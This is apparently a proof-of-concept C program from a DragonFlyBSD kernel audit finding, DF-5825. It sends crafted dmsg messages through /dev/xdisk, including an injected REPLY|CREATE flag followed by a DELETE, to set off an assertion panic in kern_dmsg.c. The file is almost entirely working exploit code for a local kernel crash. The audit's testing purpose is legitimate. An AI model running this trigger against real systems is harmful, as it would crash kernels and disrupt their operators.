⬢ DragonFlyBSD Kernel Audit
DF-5825 / oracle_inject.c
← back to finding ↓ download raw
/*
 * DF-5825 oracle: does the REPLY|CREATE rxcmd injection work?
 *  attach A (control): msg1=XX3|CREATE, then plain DELETE (no REPLY).
 *     Expect: clean close, no panic (correct-tree removal via else branch).
 *  attach B (test):    msg1=XX3|CREATE, msg2=XX3|REPLY|CREATE (inject),
 *     then plain DELETE (no REPLY).
 *     Expect: if injection worked, kdmsg_state_msgrx() takes the
 *     (rxcmd & DMSGF_REPLY) branch and hits
 *     KKASSERT(msg->any.head.cmd & DMSGF_REPLY) at kern_dmsg.c:1081
 *     -> INVARIANTS panic (guest kernel is built with INVARIANTS).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <poll.h>

struct dmsg_hdr {
	uint16_t magic, reserved02;
	uint32_t salt;
	uint64_t msgid, circuit, link_verifier;
	uint32_t cmd, aux_crc, aux_bytes, error;
	uint64_t aux_descr;
	uint32_t reserved38, hdr_crc;
};
#define DMSGF_CREATE	0x80000000u
#define DMSGF_DELETE	0x40000000u
#define DMSGF_REPLY	0x20000000u
#define XX3_CMD		0x00300101u

struct xdisk_attach_ioctl { int fd; int unused01; int32_t r2[8]; };
#define XDISKIOCATTACH	_IOWR('X', 0, struct xdisk_attach_ioctl)

static int sv[2], xd;

static void
send_msg(uint32_t cmd, uint64_t msgid)
{
	unsigned char buf[64];
	struct dmsg_hdr *h = (struct dmsg_hdr *)buf;

	memset(buf, 0, sizeof(buf));
	h->magic = 0x4832;
	h->msgid = msgid;
	h->cmd = cmd;
	if (write(sv[1], buf, 64) != 64) { perror("write"); exit(1); }
}

static int
recv_msg(int ms)
{
	struct pollfd p = { .fd = sv[1], .events = POLLIN };
	struct dmsg_hdr h;
	unsigned char ext[2048];
	size_t hb, ab;

	if (poll(&p, 1, ms) <= 0)
		return -1;
	if (read(sv[1], &h, 64) != 64) { perror("rhdr"); exit(1); }
	hb = (h.cmd & 0xff) * 64;
	if (hb > 64 && hb <= 2048) {
		size_t got = 0;
		while (got < hb - 64)
			got += read(sv[1], ext, hb - 64 - got);
	}
	ab = h.aux_bytes ? (h.aux_bytes + 63) & ~63 : 0;
	while (ab) {
		size_t n = read(sv[1], ext, ab > 2048 ? 2048 : ab);
		if (n <= 0) break;
		ab -= n;
	}
	printf("   rx cmd=%08x msgid=%016jx err=%02x\n",
	    h.cmd, (uintmax_t)h.msgid, h.error);
	return 0;
}

static void
attach(void)
{
	struct xdisk_attach_ioctl xa;

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("sp"); exit(1); }
	xd = open("/dev/xdisk", O_RDWR);
	if (xd < 0) { perror("xdisk"); exit(1); }
	memset(&xa, 0, sizeof(xa));
	xa.fd = sv[0];
	if (ioctl(xd, XDISKIOCATTACH, &xa) < 0) { perror("attach"); exit(1); }
	while (recv_msg(800) == 0)
		;
}

int
main(void)
{
	uint64_t id;

	printf("=== A: control (no injection) ===\n");
	attach();
	id = 0x1111000000000001ULL;
	send_msg(XX3_CMD | DMSGF_CREATE, id);
	while (recv_msg(800) == 0)
		;
	usleep(300000);
	printf("   -> plain DELETE\n");
	send_msg(XX3_CMD | DMSGF_DELETE, id);
	usleep(500000);
	while (recv_msg(300) == 0)
		;
	printf("=== A survived (expected clean close)\n");
	close(sv[1]); close(sv[0]); close(xd);
	sleep(2);

	printf("=== B: REPLY|CREATE injection + plain DELETE ===\n");
	attach();
	id = 0x2222000000000001ULL;
	send_msg(XX3_CMD | DMSGF_CREATE, id);
	while (recv_msg(800) == 0)
		;
	usleep(300000);
	printf("   -> REPLY|CREATE (inject)\n");
	send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_CREATE, id);
	usleep(500000);
	while (recv_msg(300) == 0)
		;
	printf("   -> plain DELETE (expect KKASSERT @ kern_dmsg.c:1081)\n");
	send_msg(XX3_CMD | DMSGF_DELETE, id);
	sleep(5);
	printf("=== B survived (injection FAILED)\n");
	return 0;
}